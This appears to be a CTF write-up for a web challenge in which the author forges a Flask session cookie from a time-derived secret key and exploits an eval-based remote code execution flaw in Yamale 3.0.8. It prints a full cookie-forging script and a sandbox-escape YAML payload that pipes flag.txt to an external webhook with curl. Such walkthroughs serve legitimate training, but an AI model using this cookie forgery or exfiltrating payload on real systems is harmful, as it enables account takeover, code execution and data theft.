Description

Yet Another Markup Language, YAML, YAML Ain’t Markup Language, Yamale

Flag

flag{not_even_apache_can_stop_the_mighty_eval}

Enumerating Sourcecode

Attached with the challenge we find a zip-file: src.zip. Inside of the zip there are 2 python files: app.py and config.py.

Inspecting the source of config.py we find out the secret_key is generated based on the current timestamp (of when the machine is spawned).

SECRET_KEY = hashlib.md5(
	datetime.datetime.utcnow().strftime("%d/%m/%Y %H:%M").encode()
).hexdigest()

Looking a bit further we can find some interesting code in app.py.

schema = Schemas.query.filter_by(id=schema_id).first_or_404()
schema = yamale.make_schema(content=schema.content)
data = yamale.make_data(content=content)

try:
	yamale.validate(schema, data)

Yamale 3.0.8 is the library used for validation of the yaml templates. After googling we find a RCE vulnerability inside of the library (https://github.com/23andMe/Yamale/issues/167) which is caused by the use of eval statements inside of the library.

However when you look further in the code you see you need to be logged in and have an id in your session. Since we know how the secret is crafted we will be able to generate one and using that generate a session cookie.

Getting access to the admin panel

Using the following little script we can “dump”, well actually generate, the secret that will be used for the session cookie.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import hashlib
import datetime

start_time = datetime.datetime(y, m, d, h, m, 0, 0)

SECRET_KEY = hashlib.md5(
    start_time.strftime("%d/%m/%Y %H:%M").encode()
).hexdigest()

print(SECRET_KEY)

First you replace the y, m, d, h, and m with that of the time you spawned the machine (make sure to use UTC time). Then you can run the script and a secret will come out, in our case it was 82f412b476f33a68fc9510d1b77ad9c5.

Then we can run a flask cookie generator, cookie_generator.py.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage

    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
			if(args.secret_key is not None and args.cookie_structure is not None):
				print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
			if(args.secret_key is not None and args.cookie_value is not None):
				print(FSCM.decode(args.cookie_value,args.secret_key))
			elif(args.cookie_value is not None):
				print(FSCM.decode(args.cookie_value))

Using the following command.

1
python cookie_generator.py encode -s 82f412b476f33a68fc9510d1b77ad9c5 -t '{"id": 1}'

Which results in the following cookie: eyJpZCI6MX0.ZYL7gg.HUbj0yFMbcxw5ITkqsYsstVOGlA, Ofcourse when running this for yourself don’t forget to replace the token with your own.

We can replace our session cookie with this and after refreshing the page we seem to be logged in. Navigating to /admin/schemas presents us with a page where you can create new schemas.

Getting the flag

Now we can exploit the yamale vulnerability. Lets create a new schema with the following payload.

1
name: str([x.__init__.__globals__["sys"].modules["os"].system("cat flag.txt | curl -X POST --data-binary @- https://webhook.site/REDACTED") for x in ''.__class__.__base__.__subclasses__() if "_ModuleLock" == x.__name__])

Now we can go to the main page and run a validation on it. Using any payload that would be valid. For example.

1
name: any_string_here

Since we are able to run commands we are able to cat the output of the flag file and pipe it into curl to post it to our webhook.site page. Looking in there we see the flag.